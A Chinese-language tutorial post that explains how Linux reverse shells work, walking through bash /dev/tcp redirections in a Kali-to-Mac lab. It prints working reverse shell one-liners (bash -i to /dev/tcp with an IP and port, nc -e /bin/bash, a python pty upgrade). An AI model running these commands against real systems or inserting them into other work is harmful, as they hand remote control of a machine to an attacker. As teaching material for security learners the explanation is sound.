linux反弹shell的原理详解
完整命令
反弹shell命令:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1
利⽤nc反弹shell:
nc -lvvp 12345 -t -e /bin/bash
原理
bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打开⼀个交互式的bash
&是为了区分⽂件1和⽂件描述符1的
linux执行shell命令
a>&b 的意思是 a>b 2>&1
0代表输⼊,0>&1 意思是,将输出的窗⼝上所输⼊的值当作当前窗⼝的输⼊。反弹shell后会有两个窗⼝,即靶机的shell窗⼝跟攻击机的shell⼝。这命令的意思也可以理解为,将攻击机窗⼝的输⼊当作靶机窗⼝的输⼊最终输⼊给靶机。2代表标准错误输出。
实验
通过⼀个⼩实验帮助⼤家理解
第⼀步,将shell的正确输出重定向到外部主机
假设我们在kali上输⼊的命令为:
bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端⼝。
在mac上监听端⼝命令为:nc -l 9999
⾸先在kali上输⼊whoami命令,发现没有回显,因为回显被重定向到了mac上。
但是当我们在kali上出⼊错误命令的时候,却存在回显。
第⼆步,将错误输出重定向到外部主机
我们只需要在上⾯的命令后⾯加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。
这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:
这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac⽆法进⾏任何输出操作,只能显⽰输出。这时候我们⼏句需要将输⼊的权限给予我们的mac。
第三步,交出输⼊权限
只需要在第⼆步命令的基础上加上 0>&1即可。
这时候已经可以在mac上完全控制kali的shell了,实验结束。
其他
当shell不稳定时候⽤python的虚拟化终端:
python -c "import pty;pty.spawn('/bin/bash')"
到此这篇关于linux反弹shell的原理详解的⽂章就介绍到这了,更多相关linux反弹shell内容请搜索以前的⽂章或继续浏览下⾯的相关⽂章希望⼤家以后多多⽀持!
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论